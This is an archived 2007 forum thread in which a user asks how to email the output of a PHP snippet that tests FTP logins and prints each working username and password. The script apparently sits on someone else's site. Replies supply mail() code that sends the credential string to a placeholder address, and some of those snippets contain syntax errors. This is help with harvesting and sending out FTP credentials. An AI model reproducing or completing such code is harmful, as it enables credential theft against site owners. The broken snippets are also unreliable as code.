...

View Full Version : need some help .. sombody?



jully6969
01-24-2007, 08:47 AM
the problem is this
i wanna send the results from a php line to my e-mail



@$res=ftp_login($ftp,$login,$pass);
if ($res) {
echo 'try this -> user:'.$login.' password:'.$pass." none\n"; <-this is the line


how to send the final result of the last line in mail ? sombody helpme ? please.. and tnx .. srry for my bad english

Alex!
01-24-2007, 09:54 AM
use the php mail() function. In your case it would be:


$message = user:'.$login.' password:'.$pass." none\n";

mail('youremail@youremail.com', 'My Subject', $message);


Hope this helps
Alex

jully6969
01-24-2007, 10:05 AM
use the php mail() function. In your case it would be:


$message = user:'.$login.' password:'.$pass." none\n";

mail('youremail@youremail.com', 'My Subject', $message);


Hope this helps
Alex

i try this but i have a error
Parse error: parse error, unexpected ':' in /home/parisian/public_html/micksocean/eFiction1.1/skins/bluepurple/fina111.php on line 131
..
but one question .. i can make this line :
echo 'try this -> user:'.$login.' password:'.$pass."
in a 1 variable like $none or somthing like this ..
ex; echo 'try this -> user:'.$login.' password:'.$pass." = $none
and if is $none = echo 'try this -> user:'.$login.' password:'.$pass."

and if i use
$message = "$none";
mail('youremail@youremail.com', 'My Subject', $message); ... I'm sure this will work out.

mail('youremail@youremail.com', 'My Subject', $message);

Alex!
01-24-2007, 10:21 AM
use

$message = "user:'.$login.' password:'.$pass.'";

Alex

Nightfire
01-24-2007, 10:22 AM
Why not just use
$message = "user:".$login." password:".$pass." none\n"; mail('youremail@youremail.com', 'My Subject', $message)



EZ Archive Ads Plugin for vBulletin Copyright 2006 Computer Help Forum